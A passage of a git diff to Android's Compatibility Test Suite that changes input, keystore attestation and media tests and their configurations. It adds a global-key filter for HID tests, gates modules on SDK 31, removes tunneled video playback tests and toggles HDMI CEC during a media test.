diff --git a/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java b/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java
new file mode 100644
index 00000000000..297031a811c
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.util.Log;
+import android.view.InputEvent;
+import android.view.KeyEvent;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Loads the global keys from {@code com.android.internal.R.xml.global_keys} the same way like
+ * {@code com.android.server.policy.GlobalKeyManager} does.
+ * TODO(199182608): Make GlobalKeyManager#shouldHandleGlobalKey() a testApi and remove this class
+ */
+public class GlobalKeyMapping {
+ private static final String TAG = GlobalKeyMapping.class.getSimpleName();
+ private static final String TAG_GLOBAL_KEYS = "global_keys";
+ private static final String TAG_KEY = "key";
+ private static final String ATTR_VERSION = "version";
+ private static final String ATTR_KEY_CODE = "keyCode";
+ private static final int GLOBAL_KEY_FILE_VERSION = 1;
+ private static final Set<Integer> GLOBAL_KEYS = new HashSet<>();
+
+
+ public GlobalKeyMapping(Context context) {
+ loadGlobalKeys(context);
+ }
+
+ private void loadGlobalKeys(Context context) {
+ try (XmlResourceParser parser = context.getResources().getXml(
+ Resources.getSystem().getIdentifier("global_keys", "xml", "android"))) {
+ beginDocument(parser, TAG_GLOBAL_KEYS);
+ int version = parser.getAttributeIntValue(null, ATTR_VERSION, 0);
+ if (GLOBAL_KEY_FILE_VERSION == version) {
+ while (true) {
+ nextElement(parser);
+ String element = parser.getName();
+ if (element == null) {
+ break;
+ }
+ if (TAG_KEY.equals(element)) {
+ String keyCodeName = parser.getAttributeValue(null, ATTR_KEY_CODE);
+ int keyCode = KeyEvent.keyCodeFromString(keyCodeName);
+ if (keyCode != KeyEvent.KEYCODE_UNKNOWN) {
+ GLOBAL_KEYS.add(keyCode);
+ }
+ }
+ }
+ }
+ } catch (Resources.NotFoundException e) {
+ Log.w(TAG, "global keys file not found", e);
+ } catch (XmlPullParserException e) {
+ Log.w(TAG, "XML parser exception reading global keys file", e);
+ } catch (IOException e) {
+ Log.w(TAG, "I/O exception reading global keys file", e);
+ }
+ }
+
+ public boolean isGlobalKey(InputEvent e) {
+ if (GLOBAL_KEYS.isEmpty() || !(e instanceof KeyEvent)) {
+ return false;
+ }
+ KeyEvent keyEvent = (KeyEvent) e;
+ return GLOBAL_KEYS.contains(keyEvent.getKeyCode());
+ }
+
+ /** Ported from com.android.internal.util.XmlUtils */
+ private void nextElement(XmlPullParser parser) throws XmlPullParserException, IOException {
+ int type;
+ while ((type = parser.next()) != parser.START_TAG && type != parser.END_DOCUMENT) {
+ // skip
+ }
+ }
+
+ /** Ported from com.android.internal.util.XmlUtils */
+ private void beginDocument(XmlPullParser parser, String firstElementName)
+ throws XmlPullParserException, IOException {
+ int type;
+ while ((type = parser.next()) != parser.START_TAG && type != parser.END_DOCUMENT) {
+ // skip
+ }
+
+ if (type != parser.START_TAG) {
+ throw new XmlPullParserException("No start tag found");
+ }
+
+ if (!parser.getName().equals(firstElementName)) {
+ throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
+ + ", expected " + firstElementName);
+ }
+ }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index d40d545cf55..07a080abfc0 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -31,6 +31,7 @@ import static org.mockito.Mockito.verify;
import android.hardware.BatteryState;
import android.hardware.input.InputManager;
+import android.hardware.input.cts.GlobalKeyMapping;
import android.hardware.lights.Light;
import android.hardware.lights.LightState;
import android.hardware.lights.LightsManager;
@@ -72,6 +73,8 @@ public class InputHidTestCase extends InputTestCase {
private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
private HidDevice mHidDevice;
+ private final GlobalKeyMapping mGlobalKeyMapping = new GlobalKeyMapping(
+ mInstrumentation.getTargetContext());
private int mDeviceId;
private final int mRegisterResourceId;
private boolean mDelayAfterSetup = false;
@@ -214,17 +217,19 @@ public class InputHidTestCase extends InputTestCase {
@Override
protected void testInputDeviceEvents(int resourceId) {
List<HidTestData> tests = mParser.getHidTestData(resourceId);
+ // Global keys are handled by the framework and do not reach apps.
+ // The set of global keys is vendor-specific.
+ // Remove tests which contain global keys because we can't test them
+ tests.removeIf(testData -> testData.events.removeIf(mGlobalKeyMapping::isGlobalKey));
for (HidTestData testData: tests) {
mCurrentTestCase = testData.name;
-
// Send all of the HID reports
for (int i = 0; i < testData.reports.size(); i++) {
final String report = testData.reports.get(i);
mHidDevice.sendHidReport(report);
}
verifyEvents(testData.events);
-
}
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index df24d52c6c8..ce9746b7a41 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -54,11 +54,11 @@ public abstract class InputTestCase {
private static final float TOLERANCE = 0.005f;
private final BlockingQueue<InputEvent> mEvents;
+ protected final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
private InputListener mInputListener;
private View mDecorView;
- protected Instrumentation mInstrumentation;
protected InputJsonParser mParser;
// Stores the name of the currently running test
protected String mCurrentTestCase;
@@ -81,7 +81,6 @@ public abstract class InputTestCase {
@Before
public void setUp() throws Exception {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivityRule.getActivity().clearUnhandleKeyCode();
mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
mParser = new InputJsonParser(mInstrumentation.getTargetContext());
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 51ae06565f3..5a3b712c12e 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -220,7 +220,10 @@ public class KeyAttestationTest extends AndroidTestCase {
fail("Attestation challenges larger than 128 bytes should be rejected");
} catch (ProviderException e) {
KeyStoreException cause = (KeyStoreException) e.getCause();
- assertEquals(KM_ERROR_INVALID_INPUT_LENGTH, cause.getErrorCode());
+ assertTrue(KM_ERROR_INVALID_INPUT_LENGTH == cause.getErrorCode() ||
+ (devicePropertiesAttestation
+ && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode())
+ );
}
}
}
@@ -495,7 +498,10 @@ public class KeyAttestationTest extends AndroidTestCase {
fail("Attestation challenges larger than 128 bytes should be rejected");
} catch(ProviderException e){
KeyStoreException cause = (KeyStoreException) e.getCause();
- assertEquals(KM_ERROR_INVALID_INPUT_LENGTH, cause.getErrorCode());
+ assertTrue(KM_ERROR_INVALID_INPUT_LENGTH == cause.getErrorCode() ||
+ (devicePropertiesAttestation
+ && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode())
+ );
}
}
}
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index 08f47fdd769..79aa4b2940a 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -42,4 +42,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index c90b7027970..22209734c65 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -40,4 +40,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 94c1134d536..670a3af8d87 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -42,4 +42,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 4f5a2efce98..6775f87ece8 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -1,9 +1,7 @@
# Bug component: 1344
include ../../media/OWNERS
-andrewlewis@google.com
elaurent@google.com
etalvala@google.com
-gkasten@google.com
hdmoon@google.com
hunga@google.com
insun@google.com
@@ -13,6 +11,5 @@ jmtrivi@google.com
jsharkey@android.com
sungsoo@google.com
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
index f5cad49245c..7667922abd1 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
@@ -19,9 +19,9 @@ package android.media.cts;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import static org.testng.Assert.assertThrows;
-import android.content.Context;
import android.content.pm.PackageManager;
import android.media.AudioFormat;
import android.media.AudioRecord;
@@ -34,13 +34,13 @@ import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.SystemUtil;
-import java.io.IOException;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.io.IOException;
+
@NonMediaMainlineTest
@@ -52,9 +52,7 @@ public class AudioRecordSharedAudioTest {
@Before
public void setUp() throws Exception {
- if (!hasMicrophone()) {
- return;
- }
+ assumeTrue(hasMicrophone());
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.adoptShellPermissionIdentity();
clearAudioserverPermissionCache();
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index ead79742e34..f01c4441de8 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -581,27 +581,6 @@ public class AudioTrackSurroundTest extends CtsAndroidTestCase {
}
}
- public void testIEC61937_Errors() throws Exception {
- if (mInfoIEC61937 != null) {
- final String TEST_NAME = "testIEC61937_Errors";
- try {
- AudioTrack track = createAudioTrack(48000, AudioFormat.ENCODING_IEC61937,
- AudioFormat.CHANNEL_OUT_MONO);
- assertTrue(TEST_NAME + ": IEC61937 track creation should fail for mono", false);
- } catch (IllegalArgumentException e) {
- // This is expected behavior.
- }
-
- try {
- AudioTrack track = createAudioTrack(48000, AudioFormat.ENCODING_IEC61937,
- AudioFormat.CHANNEL_OUT_5POINT1);
- assertTrue(TEST_NAME + ": IEC61937 track creation should fail for 5.1", false);
- } catch (IllegalArgumentException e) {
- // This is expected behavior.
- }
- }
- }
-
public void testPcmSupport() throws Exception {
if (REQUIRE_PCM_DEVICE) {
// There should always be a fake PCM device available.
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 248ba82893d..c745207b167 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -3244,9 +3244,9 @@ public class AudioTrackTest {
};
final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel.
final int TEST_CONF_ARRAY[] = {
- (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
MAX_CHANNEL_BIT, // likely silent - no physical device on top channel.
MAX_CHANNEL_BIT | 1, // first channel will likely have physical device.
+ (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
};
final int TEST_WRITE_MODE_ARRAY[] = {
AudioTrack.WRITE_BLOCKING,
@@ -3258,10 +3258,12 @@ public class AudioTrackTest {
double frequency = 200; // frequency changes for each test
for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
- for (int TEST_CONF : TEST_CONF_ARRAY) {
- for (int TEST_SR : TEST_SR_ARRAY) {
- for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
- for (int useDirect = 0; useDirect < 2; ++useDirect) {
+ for (int TEST_SR : TEST_SR_ARRAY) {
+ for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+ for (int useDirect = 0; useDirect < 2; ++useDirect) {
+ for (int TEST_CONF : TEST_CONF_ARRAY) {
+ // put TEST_CONF in the inner loop to avoid
+ // back-to-back creation of large tracks.
playOnceStreamByteBuffer(
TEST_NAME, frequency, TEST_SWEEP,
TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 8e86624764f..1b815656da2 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -3733,312 +3733,6 @@ public class DecoderTest extends MediaPlayerTestBase {
}
/**
- * Test tunneled video peek is on by default if supported
- *
- * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
- */
- private void testTunneledVideoPeekDefault(String mimeType, String videoName) throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekDefault requires Android 12")) {
- return;
- }
-
- if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
- CodecCapabilities.FEATURE_TunneledPlayback),
- "No tunneled video playback codec found for MIME " + mimeType)){
- return;
- }
-
- // Setup tunnel mode test media player
- AudioManager am = mContext.getSystemService(AudioManager.class);
- mMediaCodecPlayer = new MediaCodecTunneledPlayer(
- mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
- Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
- mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
- mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
- assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
- mMediaCodecPlayer.start();
-
- // Assert that onFirstTunnelFrameReady is called
- mMediaCodecPlayer.queueOneVideoFrame();
- final int waitTimeMs = 150;
- Thread.sleep(waitTimeMs);
- assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
- waitTimeMs),
- mMediaCodecPlayer.isFirstTunnelFrameReady());
- // Assert that video peek is enabled and working
- assertTrue(String.format("First frame not rendered within %d milliseconds", waitTimeMs),
- mMediaCodecPlayer.getCurrentPosition() != 0);
-
- // mMediaCodecPlayer.reset() handled in TearDown();
- }
-
- /**
- * Test default tunneled video peek with HEVC if supported
- */
- public void testTunneledVideoPeekDefaultHevc() throws Exception {
- testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test default tunneled video peek with AVC if supported
- */
- public void testTunneledVideoPeekDefaultAvc() throws Exception {
- testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test default tunneled video peek with VP9 if supported
- */
- public void testTunneledVideoPeekDefaultVp9() throws Exception {
- testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
-
- /**
- * Test tunneled video peek can be turned off then on.
- *
- * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
- */
- private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
- return;
- }
-
- if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
- CodecCapabilities.FEATURE_TunneledPlayback),
- "No tunneled video playback codec found for MIME " + mimeType)){
- return;
- }
-
- // Setup tunnel mode test media player
- AudioManager am = mContext.getSystemService(AudioManager.class);
- mMediaCodecPlayer = new MediaCodecTunneledPlayer(
- mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
- Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
- mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
- mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
- assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
- mMediaCodecPlayer.start();
- mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
-
- // Assert that onFirstTunnelFrameReady is called
- mMediaCodecPlayer.queueOneVideoFrame();
- final int waitTimeMsStep1 = 150;
- Thread.sleep(waitTimeMsStep1);
- assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
- waitTimeMsStep1),
- mMediaCodecPlayer.isFirstTunnelFrameReady());
- // Assert that video peek is disabled
- assertEquals("First frame rendered while peek disabled",
- mMediaCodecPlayer.getCurrentPosition(), 0);
- mMediaCodecPlayer.setVideoPeek(true); // Reenable video peek
- final int waitTimeMsStep2 = 150;
- Thread.sleep(waitTimeMsStep2);
- // Assert that video peek is enabled
- assertTrue(String.format(
- "First frame not rendered within %d milliseconds while peek enabled",
- waitTimeMsStep2),
- mMediaCodecPlayer.getCurrentPosition() != 0);
-
- // mMediaCodecPlayer.reset() handled in TearDown();
- }
-
- /**
- * Test tunneled video peek can be turned off then on with HEVC if supported
- */
- public void testTunneledVideoPeekOffHevc() throws Exception {
- testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test tunneled video peek can be turned off then on with AVC if supported
- */
- public void testTunneledVideoPeekOffAvc() throws Exception {
- testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test tunneled video peek can be turned off then on with VP9 if supported
- */
- public void testTunneledVideoPeekOffVp9() throws Exception {
- testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- /**
- * Test accurate video rendering after a video MediaCodec flush.
- *
- * On some devices, queuing content when the player is paused, then triggering a flush, then
- * queuing more content does not behave as expected. The queued content gets lost and the flush
- * is really only applied once playback has resumed.
- *
- * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
- */
- private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
- throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
- return;
- }
-
- if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
- CodecCapabilities.FEATURE_TunneledPlayback),
- "No tunneled video playback codec found for MIME " + mimeType)){
- return;
- }
-
- // Setup tunnel mode test media player
- AudioManager am = mContext.getSystemService(AudioManager.class);
- mMediaCodecPlayer = new MediaCodecTunneledPlayer(
- mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
- Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
- mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
- mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
- assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
- // start video playback
- mMediaCodecPlayer.startThread();
- Thread.sleep(100);
- assertTrue("Video playback stalled", mMediaCodecPlayer.getCurrentPosition() != 0);
- mMediaCodecPlayer.pause();
- Thread.sleep(50);
- assertTrue("Video is ahead of audio", mMediaCodecPlayer.getCurrentPosition() <=
- mMediaCodecPlayer.getAudioTrackPositionUs());
- mMediaCodecPlayer.videoFlush();
- Thread.sleep(50);
- assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getCurrentPosition(), 0);
- // We queue one frame, but expect it not to be rendered
- Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
- assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
- Thread.sleep(50); // longer wait to account for buffer manipulation
- assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getCurrentPosition(), 0);
- mMediaCodecPlayer.resume();
- Thread.sleep(100);
- ArrayList<Long> renderedVideoTimestamps =
- mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
- assertFalse("No new video timestamps", renderedVideoTimestamps.isEmpty());
- assertEquals("First rendered video frame does not match first queued video frame",
- renderedVideoTimestamps.get(0), queuedVideoTimestamp);
- // mMediaCodecPlayer.reset() handled in TearDown();
- }
-
- /**
- * Test accurate video rendering after a video MediaCodec flush with HEVC if supported
- */
- public void testTunneledAccurateVideoFlushHevc() throws Exception {
- testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test accurate video rendering after a video MediaCodec flush with AVC if supported
- */
- public void testTunneledAccurateVideoFlushAvc() throws Exception {
- testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test accurate video rendering after a video MediaCodec flush with VP9 if supported
- */
- public void testTunneledAccurateVideoFlushVp9() throws Exception {
- testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- /**
- * Test tunneled audioTimestamp progress with HEVC if supported
- */
- public void testTunneledAudioTimestampProgressHevc() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test tunneled audioTimestamp progress with AVC if supported
- */
- public void testTunneledAudioTimestampProgressAvc() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test tunneled audioTimestamp progress with VP9 if supported
- */
- public void testTunneledAudioTimestampProgressVp9() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- /**
- * Test that AudioTrack timestamps don't advance after pause.
- */
- private void
- testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
- {
- if (!isVideoFeatureSupported(mimeType,
- CodecCapabilities.FEATURE_TunneledPlayback)) {
- MediaUtils.skipTest(TAG,"No tunneled video playback codec found for MIME " + mimeType);
- return;
- }
-
- AudioManager am = mContext.getSystemService(AudioManager.class);
- mMediaCodecPlayer = new MediaCodecTunneledPlayer(
- mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
- Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
- mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
- mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
- assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
- // starts video playback
- mMediaCodecPlayer.startThread();
-
- sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > 0, Duration.ofSeconds(1));
- final int firstPosition = mMediaCodecPlayer.getCurrentPosition();
- assertTrue(
- "On frame rendered not called after playback start!",
- firstPosition > 0);
- AudioTimestamp firstTimestamp = mMediaCodecPlayer.getTimestamp();
- assertTrue("Timestamp is null!", firstTimestamp != null);
-
- // Expected stabilization wait is 60ms. We triple to 180ms to prevent flakiness
- // and still test basic functionality.
- final int sleepTimeMs = 180;
- Thread.sleep(sleepTimeMs);
- mMediaCodecPlayer.pause();
- // pause might take some time to ramp volume down.
- Thread.sleep(sleepTimeMs);
- AudioTimestamp timeStampAfterPause = mMediaCodecPlayer.getTimestamp();
- // Verify the video has advanced beyond the first position.
- assertTrue(mMediaCodecPlayer.getCurrentPosition() > firstPosition);
- // Verify that the timestamp has advanced beyond the first timestamp.
- assertTrue(timeStampAfterPause.nanoTime > firstTimestamp.nanoTime);
-
- Thread.sleep(sleepTimeMs);
- // Verify that the timestamp does not advance after pause.
- assertEquals(timeStampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
- }
-
- private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
- final long deadLineMs = System.currentTimeMillis() + maxWait.toMillis();
- do {
- Thread.sleep(50);
- } while (!supplier.get() && System.currentTimeMillis() < deadLineMs);
- }
-
- /**
* Returns list of CodecCapabilities advertising support for the given MIME type.
*/
private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) {
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index 8cbe25538d6..a03d429c90a 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -16,17 +16,21 @@
package android.media.cts;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static junit.framework.Assert.assertEquals;
import static org.junit.Assert.fail;
import static org.junit.Assert.assertTrue;
import static org.testng.Assert.assertFalse;
+import android.Manifest;
import android.app.Activity;
import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.content.res.Resources;
+import android.hardware.hdmi.HdmiControlManager;
import android.media.AudioAttributes;
import android.media.AudioManager;
import android.media.session.MediaSession;
@@ -84,17 +88,27 @@ public class MediaActivityTest {
private Map<Integer, Integer> mStreamVolumeMap = new HashMap<>();
private MediaSession mSession;
+ private HdmiControlManager mHdmiControlManager;
+ private int mHdmiEnableStatus;
+
@Rule
public ActivityTestRule<MediaSessionTestActivity> mActivityRule =
new ActivityTestRule<>(MediaSessionTestActivity.class, false, false);
@Before
public void setUp() throws Exception {
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.HDMI_CEC);
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mContext = mInstrumentation.getContext();
mUseFixedVolume = mContext.getResources().getBoolean(
Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ mHdmiControlManager = mContext.getSystemService(HdmiControlManager.class);
+ if (mHdmiControlManager != null) {
+ mHdmiEnableStatus = mHdmiControlManager.getHdmiCecEnabled();
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+ }
mStreamVolumeMap.clear();
for (Integer stream : ALL_VOLUME_STREAMS) {
@@ -133,6 +147,9 @@ public class MediaActivityTest {
mSession.release();
mSession = null;
}
+ if (mHdmiControlManager != null) {
+ mHdmiControlManager.setHdmiCecEnabled(mHdmiEnableStatus);
+ }
try {
mActivityRule.finishActivity();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 78b1c5f48ef..19621eccfc1 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
